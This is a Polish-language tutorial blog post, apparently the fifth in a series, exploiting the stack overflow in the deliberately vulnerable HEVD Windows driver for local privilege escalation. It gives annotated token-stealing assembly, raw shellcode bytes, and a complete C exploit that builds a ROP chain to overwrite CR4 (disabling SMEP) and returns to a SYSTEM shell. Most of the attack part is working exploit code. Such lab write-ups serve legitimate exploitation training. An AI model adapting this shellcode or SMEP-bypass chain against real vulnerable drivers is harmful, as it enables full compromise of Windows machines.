Post

[PL] HEVD Stack Buffer Overflow #5 - LPE

[PL] HEVD Stack Buffer Overflow #5 - LPE

W poprzednich artykułach udało nam się przejść do kontrolowanego przez nas wykonywalnego miejsca w pamięci, oraz powrócić do programu wywołującego przerwanie.

Pora wykorzystać możliwość wykonywania kodu w Ring 0 do eskalacji przywilejów aktualnie uruchomionego procesu (LPE).

Posłużymy się techniką podmiany tokenu procesu, odpowiadającego za dostępne dla nas uprawnienia. Więcej informacji na temat tej techniki: świetne wyjaśnienie | Mitre: 1 2

Poniżej znajduje się kod w assemblerze wykonujący podmianę tokenu naszego procesu na token systemowy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    ; gs:0x180 -> _KPRCB
    ; _KPRCB + 0x8 -> _KTHREAD* CurrentThread
    mov rax, gs:[188h]               ; Rax <- Struktura _KTHREAD CurrentThread
    
    ; _KTHREAD + 0x98 -> _KAPC_STATE ApcState
    ; _KAPC_STATE + 0x20 -> _K(E)PROCESS* Process
    mov rax, [rax + 0B8h]            ; Rax <- Struktura _EPROCESS naszego procesu
    mov rbx, rax                     ; Zapisujemy nasz _EPROCESS by później w nim nadpisać token

search_system_pid:
    mov rax, [rax + 448h]            ; Rax <- _LIST_ENTRY następnego procesu
    sub rax, 448h                    ; Rax <- Początek _EPROCESS następnego procesu
    
    mov rcx, [rax + 440h]            ; Rcx <- UniqueProcessId następnego procesu
    cmp rcx, 4                       ; Jeżeli Rcx = 4, wiemy że proces jest procesem systemowym
    jne search_system_pid            ; Jeżeli nie, idź dalej poprzez następne referencje

    mov rcx, [rax + 4B8h]            ; Rcx <- _EX_FAST_REF Token ; (Token systemowy)
    and rcx, 0FFFFFFFFFFFFFFF0h      ; Nie chcemy kopiować licznika referencji! (Ostatnie 4 bity)

    ; Nadpisujemy token naszego procesu tokenem systemowym
    mov rdx, [rbx + 4B8h]            ; Rdx <- Nasz token
    and rdx, 0Fh                     ; Zachowujemy licznik referencji naszego tokenu
    or rcx, rdx                      ; Łączymy adres tokenu systemowego z naszym licznikiem referencji
    mov [rbx + 4B8h], rcx            ; Nadpisujemy nasz token nowo powstałą wartością

Analiza kodu

Ponownie korzystamy ze strony VergiliusProject, i narzędzia WinDBG z poleceniem dt nt!_STRUKTURA aby znaleźć poprawne offsety dla naszej wersji systemu operacyjnego (Windows 10 22H2).

Wiemy, że podczas wykonywania się funkcji sterownika, w segmencie GS znajdują się struktury: KPCR pod offsetem 0x0, KPCRB pod offsetem 0x180. Wykorzystajmy ten fakt do odnalezienia struktury _EPROCESS naszego programu z Ring 3. Dostaniemy się do niego poprzez łańcuch referencji _KPRCB -> _KTHREAD* CurrentThread -> _KAPC_STATE ApcState -> _K(E)PROCESS* Process.

Specjalnie zapisałem strukturę _KPROCESS jako _K(E)PROCESS, ponieważ wskaźnik Process w ApcState formalnie wskazuje na strukturę _KPROCESS. Jednakże w systemie Windows _KPROCESS jest zawsze pierwszym elementem większej struktury _EPROCESS. Dzięki temu wskaźnik na _KPROCESS jest jednocześnie wskaźnikiem na początek _EPROCESS, co pozwala nam na bezpośrednie operowanie na polach tej drugiej (czyli na interesującym nas tokenie).

Jako że w Windows 10 struktury _EPROCESS połączone są ze sobą zapętloną listą dwukierunkową, przechodzimy przez następne procesy poszukując procesu systemowego o PID = 4.

Struktura Token jest typu EX_FAST_REF. Jest to wskaźnik na adres obiektu, z czego 4 ostatnie bity to licznik referencji. Zależy nam na przeniesieniu jedynie adresu prowadzącego do właściwego obiektu token z zachowaniem oryginalnego licznika referencji.

Finalny exploit

Kumulując wiedzę ze wszystkich poniższych blogów, poniżej znajduje się kod dający nam shell ze wszystkimi uprawnieniami.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
#include <psapi.h>
#include <tchar.h>

#define ull uint64_t

HANDLE getHandle() {
    HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
        GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
        0,
        NULL,
        OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego obiektu
        0,
        NULL
    );

    if (hDriver == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        printf("[!] Nieudana proba uzyskania handle do sterownika, error: %d\n", err);
        exit(1);
    }

    printf("[+] Uzyskano handle do sterownika\n");
    return hDriver;
}

ull getKernelBase() {
    const int ARRAY_SIZE = 1024;

    LPVOID drivers[ARRAY_SIZE];
    DWORD cbNeeded;
    int cDrivers, i;

    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
    {
        _tprintf(TEXT("[+] Adres bazowy kernela to: %llx\n"), (ull)drivers[0]);
        return (ull)drivers[0];
    }
    else
    {
        _tprintf(TEXT("[!] Polecenie EnumDeviceDrivers nieudane; wymagany rozmiar tablicy przekazywanej jako parametr to %zd\n"), cbNeeded / sizeof(LPVOID));
        return -1;
    }
    return -1;
}

LPVOID fillPattern(int inBufferSize) {
    // Alokujemy pamięć, której adres przekażemy do metody sterownika
    LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
        inBufferSize, // Liczba bajtów do alokacji
        MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
        PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
    );

    if (inBuffer == NULL) {
        DWORD err = GetLastError();
        printf("[!] Nieudalo sie zaalokowac pamieci, error: %d\n", err);
        exit(1);
    }

    printf("[+] Pomyslnie zaalokowano %d bajtow pamieci\n", inBufferSize);

    RtlFillMemory(inBuffer, inBufferSize, 'A');

    return inBuffer;
}

//kod z shellcode.asm który będzie wykonywany w ring 0.
LPVOID allocateShellcode() {
    BYTE shellcode[] = {
        0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48, 
        0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 
        0x8B, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2D, 0x48, 0x04, 
        0x00, 0x00, 0x48, 0x8B, 0x88, 0x40, 0x04, 0x00, 0x00, 0x48, 
        0x83, 0xF9, 0x04, 0x75, 0xE6, 0x48, 0x8B, 0x88, 0xB8, 0x04, 
        0x00, 0x00, 0x48, 0x83, 0xE1, 0xF0, 0x48, 0x8B, 0x93, 0xB8, 
        0x04, 0x00, 0x00, 0x48, 0x83, 0xE2, 0x0F, 0x48, 0x0B, 0xCA, 
        0x48, 0x89, 0x8B, 0xB8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8B, 
        0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0xC7, 0x80, 0xE4, 0x01, 
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0x90, 
        0x00, 0x00, 0x00, 0x48, 0x8B, 0xA8, 0x58, 0x01, 0x00, 0x00, 
        0x48, 0x8B, 0x88, 0x68, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x98, 
        0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xA0, 0x80, 0x01, 0x00,
        0x00, 0x48, 0x33, 0xC0, 0x48, 0x33, 0xD2, 0x0F, 0x01, 0xF8,
        0x48, 0x0F, 0x07,
    };

    LPVOID shellpage = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellpage, shellcode, sizeof(shellcode));

    return shellpage;
}

int main()
{
    HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem

    ull kernelBase = getKernelBase();
    if (kernelBase == -1) {
        printf("Nie udalo sie zdobyc adresu bazowego kernela, koncze program\n");
        return 1;
    }

    //Alokujemy pamięć, która trafi na stos
    const int inBufferSize = 2104;
    LPVOID inBuffer = fillPattern(inBufferSize);
    LPVOID shellPage = allocateShellcode();

    //wskaźnik na wierzchołek stosu
    ull* stackVertice = (ull*)((ull)inBuffer + 2072);

    //wartość cr4 należy dostosować w zależności od środowiska!
    ull cr4_value = 0x0000000000A50EF8;

    //przygotowujemy wartości na stos
    ull POP_RCX = kernelBase + 0x2148c8;
    ull CR4 = cr4_value;
    ull MOV_CR4_RCX = kernelBase + 0x3a0a87;
    ull SHELLCODE = (ull)shellPage;

    //umieszczamy wartości na stosie w kolejności wykonywania.
    int inc = 0;
    *(stackVertice + inc++) = POP_RCX;
    *(stackVertice + inc++) = CR4;
    *(stackVertice + inc++) = MOV_CR4_RCX;
    *(stackVertice + inc++) = SHELLCODE;

    DeviceIoControl(hDriver, // Handle do sterownika
        0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
        (LPVOID)inBuffer, // Nasz bufor wejściowy
        inBufferSize, // Rozmiar buforu wejściowego
        NULL, // Brak buforu wyjściowego
        0,
        NULL,
        NULL
    );

    printf("[+] Powrot do programu!\n");
    system("cmd");

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
.code

main PROC
    ; Token Stealer

    ; gs:0x180 -> _KPRCB
    ; _KPRCB + 0x8 -> _KTHREAD* CurrentThread
    mov rax, gs:[188h]               ; Rax <- Struktura _KTHREAD CurrentThread
    
    ; _KTHREAD + 0x98 -> _KAPC_STATE ApcState
    ; _KAPC_STATE + 0x20 -> _K(E)PROCESS* Process
    mov rax, [rax + 0B8h]            ; Rax <- Struktura _EPROCESS naszego procesu
    mov rbx, rax                     ; Zapisujemy nasz _EPROCESS by później w nim nadpisać token

search_system_pid:
    mov rax, [rax + 448h]            ; Rax <- _LIST_ENTRY następnego procesu
    sub rax, 448h                    ; Rax <- Początek _EPROCESS następnego procesu
    
    mov rcx, [rax + 440h]            ; Rcx <- UniqueProcessId następnego procesu
    cmp rcx, 4                       ; Jeżeli Rcx = 4, wiemy że proces jest procesem systemowym
    jne search_system_pid            ; Jeżeli nie, idź dalej poprzez następne referencje

    mov rcx, [rax + 4B8h]            ; Rcx <- _EX_FAST_REF Token ; (Token systemowy)
    and rcx, 0FFFFFFFFFFFFFFF0h      ; Nie chcemy kopiować licznika referencji! (Ostatnie 4 bity)

    ; Nadpisujemy token naszego procesu tokenem systemowym
    mov rdx, [rbx + 4B8h]            ; Rdx <- Nasz token
    and rdx, 0Fh                     ; Zachowujemy licznik referencji naszego tokenu
    or rcx, rdx                      ; Łączymy adres tokenu systemowego z naszym licznikiem referencji
    mov [rbx + 4B8h], rcx            ; Nadpisujemy nasz token nowo powstałą wartością

    ; Powrót do programu
    mov rax, gs:[188h]               ; Rax <- Struktura _KTHREAD CurrentThread
    
    ; Sterownik przy wejściu zmniejszył wartość licznka APC.
    ; Musimy go wyzerować by system mógł wchodzić w inne przerwania systemowe
    mov dword ptr [rax + 1E4h], 0    ; ULONG CombinedApcDisable = 0
    
    ; Pobieramy ramkę przerwania w której znajdują się wartości rejestrów przed wywołaniem
    mov rax, [rax + 90h]             ; Rax <- Struktura _KTRAP_FRAME TrapFrame
    
    ; Przygotowujemy rejestry dla rozkazu sysretq
    mov rbp, [rax + 158h]            ; Rbp <- Stare ULONGLONG Rbp
    mov rcx, [rax + 168h]            ; Rcx <- Stare ULONGLONG Rip
    mov r11, [rax + 178h]            ; R11 <- Stare ULONG EFlags
    mov rsp, [rax + 180h]            ; Rsp <- Stare ULONGLONG Rsp
    
    ; Czyszczenie rejestrów Rax i Rdx przed sysretq
    xor rax, rax                     ; Rax = 0
    xor rdx, rdx                     ; Rdx = 0

    swapgs                           ; Zmieniamy GS na wyjściu z Ring 0
    sysretq                          ; Powrót do programu (Ring 3)

main ENDP
END

Shell z uprawnieniami nt authority\system

Jeżeli doszedłeś do tego momentu bardzo dziękuję za przeczytanie moich wpisów :). Jeżeli dostrzegłeś jakieś niejasności lub błędy merytorycznie, koniecznie skontaktuj się ze mną mailowo [email protected]. Zapraszam na Post-scriptum, w którym dewaguję na tematy powiązane z tą eksploatacją, moim zdaniem nie na tyle istotne by uwzględnić je w postach głównych.

This post is licensed under CC BY 4.0 by the author.

Trending Tags